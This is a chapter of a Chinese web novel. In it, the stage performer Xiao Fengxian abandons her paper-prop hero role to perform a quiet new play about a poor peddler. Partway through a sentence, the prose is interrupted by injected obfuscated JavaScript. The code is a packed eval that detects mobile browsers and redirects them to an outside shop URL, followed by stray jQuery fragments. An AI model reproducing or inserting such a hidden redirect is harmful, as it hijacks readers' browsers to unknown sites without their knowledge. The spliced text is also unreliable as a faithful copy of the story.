话说小凤仙那日在后台接过贾三的真扁担，又吃了那半块干透的柿饼，回来之后，一连几日，心神不宁。
旁的倒还罢了，只是每回她拿起那根纸糊的扁担准备登台，手心便会莫名其妙地发虚，好像握着的不是道具，是一片羽毛。她照常粘假胡子、画粗眉、背纸扁担，照常蹲身避刀锋、念“吃葡萄不吐葡萄皮”，台下叫好声照常此起彼伏，打鼓老汉的鼓点也照常敲得不差分毫。可她自己知道，有什么地方不一样了。从前她蹲身避刀锋，只当是戏文里编的动作，做出来便是，如今每回蹲下去，眼前便晃出那根真扁担，和那上的暗褐色血痕。她演的是大侠，可那根真扁担告诉她，大侠的扁担不是纸糊的，大侠的扁担上沾过血。她演来演去，总觉得手里少了些什么。
这日散了戏，她没有像往常那样回后台卸妆，却在戏台边上坐了下来。那根纸扁担横在膝上，她对着空荡荡的场子，发了半日呆。场子里只剩几排空条凳，和满地的瓜子壳。打鼓的老汉收拾完家伙，见她还在那里坐着，便走过来，问她怎么了。她把纸扁担举起来，对着月光看了一看，忽然问道：“你说，真扁担和假扁担，差在哪里？”
老汉愣了一下，说真扁担能挑东西，假扁担不能。
她摇了摇头，说不是这个。假扁担太轻了，轻得你演什么都是飘的，真扁担沉，沉得你每一下都得实实在在，打出去是打在肉上，挑起来是挑在肩上。老汉听着，只觉莫名其妙，心里暗想：这丫头莫不是入了魔？一根扁担，真也好假也好，能演出戏来便是好的，哪有这许多讲究。他摇了摇头，扛着鼓走了。
次日，小凤仙没有演《贾大侠灵前论武》。
她去找了戏班的班主。班主是个五十来岁的瘦老头，留一把稀疏的山羊胡，成日里叼着烟杆，说话时烟杆在嘴角一翘一翘的。他听小凤仙说要改戏，把烟杆从嘴里拔出来，瞪着眼道：“改什么？《贾大侠》是咱们班子最卖座的戏。你改了，谁还来看？”
小凤仙道，她不是改《贾大侠》，是想排一出新戏。
班主问什么新戏。
她说：《货郎叹》。
班主听了，把烟杆往桌上一磕，那烟灰便簌簌地落在桌面上。他也没去擦，只连连摇头道：“《货郎叹》？谁看一个货郎叹气？”小凤仙也不争辩，只把自己那根纸扁担拿出来，又把一根实心竹竿搁在班主面前。那竹竿是她这几日问了好多户人家才讨到的，一根挑水扁担，竹皮磨得发亮，两头还有铁钩钩过的痕迹。她说，就排一场，若没人看，她自己贴银子。
班主瞅了瞅那根实心竹竿，又瞅了瞅她，见她神色淡淡的，却不像是一时兴起。他是知道这丫头的脾气的，平时不声不响，可一旦拿定了主意，十头牛也拉不回来。他把烟杆重新叼回嘴里，挥挥手，让她自己去折腾。
此后数日，小凤仙每日散了工，便把自己关在后台。
她把那根实心竹竿架在两张条凳之间，对着它反复地看，反复地摸。她没有见过贾三挑担子，但她见过镇上的货郎，那些挑着担子走街串巷的人，肩头总是一高一低，走起路来扁担两端一颤一颤的，倒像是鸟儿扇动翅膀。她把那些货郎走路的姿势一点一点记在心里，又把自己关在房里，对着铜镜一遍一遍地走。有一回，她走了半夜，忽然停下来，对着镜子里的自己看了许久。镜子里那个人，灰扑扑的，一点也不像台上的角儿，她看了一会儿，把镜子翻过去，扣在桌上。
首演那日，台下稀稀拉拉坐了不过二三十人，大半还是路过歇脚的，见台上还没动静，便三三两两地嗑着瓜子闲聊。班主蹲在戏台侧面的条凳上，烟杆叼在嘴里，眉头皱得能夹死苍蝇。
小凤仙从后台走出来时，台下忽然静了一静。
她没有画粗眉，没有粘假胡子，只在脸上薄薄施了一层粉，穿一身灰扑扑的短褐，那是她问镇上货郎买的旧衣裳，袖口磨得毛了边，肩头有一块被扁担压出来的褪色印记。问她花了多少铜板，她只笑笑，说人家本不肯收钱。
台下那些上了年纪的妇人，忽然觉得这姑娘走路的姿势，倒像极了她们年轻时在村口见过的那个挑着担子叫卖胭脂的年轻人。不是说相貌像，是那个走路的姿势，肩头微斜，步子不大不小，每走一步，身体便随着一个看不见的扁担轻轻晃一下。
小凤仙走到台中央，没有像往常那样亮相，只是把扁担从肩上取下来，竖在身旁。然后抬起头，对着台下说了一句：“这出戏，叫《货郎叹》。”
没有锣鼓，没有丝弦，她开始唱第一支曲子，声音不大，却是清清淡淡的，似是山间小溪漫过石缝。唱的是一个货郎挑着担子走村串巷，风里来雨里去，赚两个铜板换一个炊饼。唱到第三支曲子时，台下的嘈杂声渐渐消失了。那是货郎在破庙里啃霉饼，饼上长了绿毛，他用指甲刮了刮，刮不干净，索性连毛带饼一起啃了。她唱的时候没有哭天抢地，只是把声音压低了些，而台下那个嗑瓜子的妇人，手里的瓜子壳悬在半空，忘了往嘴里送。
演到“灵前论武”那一段时，她再也没有演蹲身避刀锋，也没有念“吃葡萄不吐葡萄皮”，她单单站在台中央，手里攥着那根扁担，对着空无一人的高台，发了半日呆。
然后她忽然笑了一下，倒像是有人在村口碰见一个许久不见的故人，想打招呼，又不知道该说什么，最后只是咧嘴笑了一下。她把扁担往地上一顿，说了一句：“我不是大侠，我就是个卖胭脂的。”
这句话说得轻，可台下偏偏听得清清楚楚。
坐在角落里的一个老太太，忽然拿袖子擦眼睛。她年轻时在村口买过货郎的胭脂，那胭脂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830824|211319||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
掺了面粉，抹在脸上起了一层疹子。后来那货郎发达了，住进了大屋，又被赶了出来。如今戏台上这个灰扑扑的人影，不知怎么的，让她想起了当年那个在村口被狗追的年轻人。旁边的老汉问她哭什么。她说，没哭，风大。老汉抬头看了看天，今晚没有风。
演出结束，台下没有叫好声，也没有人往台上扔铜板，那二三十个人只是安安静静地坐着。
这日夜里，小凤仙在后台卸妆。她把那身灰扑扑的短褐叠好，把那根实心竹竿搁在墙角，然后坐到铜镜前，拿湿布慢慢擦去脸上的薄粉。铜镜里映出她的脸，只是一张干干净净的女人的脸，她对着镜子看了一阵，忽然从袖子里摸出那半块还没吃完的柿饼，咬了一口，嚼了很久，柿饼还是那么涩。
打鼓的老汉推门进来，看见她在吃柿饼，便问她饿不饿，要不要去夜市吃碗面。她摇了摇头，把柿饼咽下去，然后说了一句：“张鼓师，下回演《货郎叹》，第二折‘破庙啃霉饼’那一段，换胡琴。唱到‘儿歌竟成经’时，过门拖三拍。台下若有人哭了，便再加一板。”
老汉愣了一下，他打了大半辈子鼓，从没听说过这种规矩，台下有人哭，便加一板？这是什么打法？他正想问个明白，却见她已把铜镜翻过去扣在桌上，那意思分明是不想再说了。他张了张嘴，又把话咽了回去，摇摇头走了。
次日一早，贾三照例蹲在铺子门口啃炊饼。褚义从街口跑过来，手里攥着一张红纸，气喘吁吁地往他手里一塞。贾三不识字，展开来给褚义看。褚义便指着上面印的戏名，一个字一个字地念给他听，《货郎叹》。下面还有一行小字，写的是“新编戏文，作词小凤仙”。
贾三把那张红纸反复看了几遍，又把海报折好，放进怀里，低头继续啃炊饼。褚义站在旁边等了半日，不见师尊发话，便有些急了：“师尊，您不去看看？”
贾三把最后一口炊饼咽下去，端起陈皮水喝了一口，然后站起来，拍了拍手上的饼渣，说了一个字：“去。”
这日傍晚，贾三又去了土地庙前。这回他没有站在人群最后头，却在戏台侧面的条凳上找了个空位坐下，扁担竖在膝旁。台上正演着的，却不是《货郎叹》，班主怕新戏不卖座，只肯让小凤仙三日演一场，其余的日子仍演《贾大侠灵前论武》。
扮贾大侠的换了人，新来的那个旦角比小凤仙年轻，嗓子更亮，却把蹲身避刀锋演成了扎马步，把“吃葡萄不吐葡萄皮”念成了快板。台下的叫好声比上回更响，有几个人往台上扔铜板，铜板砸在纸糊的扁担上叮当作响，那旦角便愈发得意起来，扎马步扎得更低了些，念快板念得更快了些。
贾三看完，什么也没说，只是拿起扁担，慢慢走回胭脂铺。
这一日，距小凤仙下次演《货郎叹》，还有两天。